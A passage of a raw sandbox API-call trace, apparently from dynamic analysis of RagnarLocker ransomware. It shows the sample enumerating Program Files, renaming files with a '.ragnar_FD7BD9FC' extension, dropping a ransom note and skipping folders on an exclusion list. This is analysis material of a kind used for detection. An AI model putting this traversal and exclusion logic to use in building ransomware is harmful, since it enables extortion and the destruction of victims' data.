lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.426] lstrcpyW (in: lpString1=0x1ecbae, lpString2="fieldswitch.ax" | out: lpString1="fieldswitch.ax") returned="fieldswitch.ax" [0079.426] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned=".ax" [0079.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.427] CloseHandle (hObject=0xffffffff) returned 0 [0079.427] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax") returned="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax" [0079.428] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax.ragnar_FD7BD9FC" [0079.428] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.428] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0079.428] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.428] lstrcpyW (in: lpString1=0x1ecbae, lpString2="offset.ax" | out: lpString1="offset.ax") returned="offset.ax" [0079.428] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax") returned=".ax" [0079.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.429] CloseHandle (hObject=0xffffffff) returned 0 [0079.429] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax") returned="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax" [0079.429] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax.ragnar_FD7BD9FC" [0079.429] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\offset.ax.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.429] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0079.429] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.429] lstrcpyW (in: lpString1=0x1ecbae, lpString2="OmdBase.dll" | out: lpString1="OmdBase.dll") returned="OmdBase.dll" [0079.429] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll") returned=".dll" [0079.429] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.429] lstrcpyW (in: lpString1=0x1ecbae, lpString2="OmdProject.dll" | out: lpString1="OmdProject.dll") returned="OmdProject.dll" [0079.429] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll") returned=".dll" [0079.429] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.429] lstrcpyW (in: lpString1=0x1ecbae, lpString2="Pipeline.dll" | out: lpString1="Pipeline.dll") returned="Pipeline.dll" [0079.429] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Pipeline.dll") returned=".dll" [0079.429] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.429] lstrcpyW (in: lpString1=0x1ecbae, lpString2="PipeTran.dll" | out: lpString1="PipeTran.dll") returned="PipeTran.dll" [0079.429] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\PipeTran.dll") returned=".dll" [0079.429] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.429] lstrcpyW (in: lpString1=0x1ecbae, lpString2="programmerstabilityfrequencies.exe" | out: lpString1="programmerstabilityfrequencies.exe") returned="programmerstabilityfrequencies.exe" [0079.429] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\programmerstabilityfrequencies.exe") returned=".exe" [0079.430] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.430] lstrcpyW (in: lpString1=0x1ecbae, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.430] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.430] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.430] lstrcpyW (in: lpString1=0x1ecbae, lpString2="rtstreamsink.ax" | out: lpString1="rtstreamsink.ax") returned="rtstreamsink.ax" [0079.430] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax") returned=".ax" [0079.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.431] CloseHandle (hObject=0xffffffff) returned 0 [0079.431] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax") returned="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax" [0079.431] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax.ragnar_FD7BD9FC" [0079.431] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsink.ax.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.431] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0079.431] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.431] lstrcpyW (in: lpString1=0x1ecbae, lpString2="rtstreamsource.ax" | out: lpString1="rtstreamsource.ax") returned="rtstreamsource.ax" [0079.431] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax") returned=".ax" [0079.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.432] CloseHandle (hObject=0xffffffff) returned 0 [0079.432] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax") returned="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax" [0079.432] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax.ragnar_FD7BD9FC" [0079.432] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\rtstreamsource.ax.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.432] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0079.432] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.432] lstrcpyW (in: lpString1=0x1ecbae, lpString2="SecretST.TTF" | out: lpString1="SecretST.TTF") returned="SecretST.TTF" [0079.432] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF") returned=".TTF" [0079.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.433] CloseHandle (hObject=0xffffffff) returned 0 [0079.433] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF") returned="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF" [0079.433] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF.ragnar_FD7BD9FC" [0079.433] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\SecretST.TTF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\secretst.ttf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.433] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8124b5c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8124b5c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0079.433] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0079.433] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.433] lstrcpyW (in: lpString1=0x1ecbae, lpString2="soniccolorconverter.ax" | out: lpString1="soniccolorconverter.ax") returned="soniccolorconverter.ax" [0079.433] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax") returned=".ax" [0079.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.433] CloseHandle (hObject=0xffffffff) returned 0 [0079.433] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax") returned="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" [0079.433] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax.ragnar_FD7BD9FC" [0079.433] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\soniccolorconverter.ax.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\soniccolorconverter.ax.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.434] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1 [0079.434] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.434] lstrcpyW (in: lpString1=0x1ecbae, lpString2="sonicsptransform.ax" | out: lpString1="sonicsptransform.ax") returned="sonicsptransform.ax" [0079.434] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax") returned=".ax" [0079.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.434] CloseHandle (hObject=0xffffffff) returned 0 [0079.434] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax") returned="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax" [0079.434] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax.ragnar_FD7BD9FC" [0079.434] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\sonicsptransform.ax.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\sonicsptransform.ax.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.434] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1 [0079.434] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x22 [0079.434] lstrcpyW (in: lpString1=0x1ecbae, lpString2="WMM2CLIP.dll" | out: lpString1="WMM2CLIP.dll") returned="WMM2CLIP.dll" [0079.434] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\WMM2CLIP.dll") returned=".dll" [0079.434] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0079.434] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0841910, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0841910, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0079.434] lstrcmpiW (lpString1="Internet Explorer", lpString2=".") returned 1 [0079.435] lstrcmpiW (lpString1="Internet Explorer", lpString2="..") returned 1 [0079.435] lstrcmpiW (lpString1="Internet Explorer", lpString2="Windows") returned -1 [0079.435] lstrcmpiW (lpString1="Internet Explorer", lpString2="Windows.old") returned -1 [0079.435] lstrcmpiW (lpString1="Internet Explorer", lpString2="Tor browser") returned -1 [0079.435] lstrcmpiW (lpString1="Internet Explorer", lpString2="Internet Explorer") returned 0 [0079.435] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0079.435] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2=".") returned 1 [0079.435] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="..") returned 1 [0079.435] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="Windows") returned -1 [0079.435] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="Windows.old") returned -1 [0079.435] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="Tor browser") returned -1 [0079.435] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="Internet Explorer") returned 1 [0079.435] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="Google") returned 1 [0079.435] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="Opera") returned -1 [0079.435] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="Opera Software") returned -1 [0079.435] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="Mozilla") returned -1 [0079.435] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="Mozilla Firefox") returned -1 [0079.435] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="$Recycle.Bin") returned 1 [0079.435] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="ProgramData") returned -1 [0079.435] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="All Users") returned 1 [0079.435] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Program Files\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0x18 [0079.435] lstrcpyW (in: lpString1=0x1ed672, lpString2="Microsoft Analysis Services" | out: lpString1="Microsoft Analysis Services") returned="Microsoft Analysis Services" [0079.435] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\" [0079.435] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\" [0079.435] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\RGNR_FD7BD9FC.txt" [0079.435] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\microsoft analysis services\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.438] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*.*") returned="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*.*" [0079.438] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x34 [0079.438] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.438] lstrcpyW (in: lpString1=0x1ec7be, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.438] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, 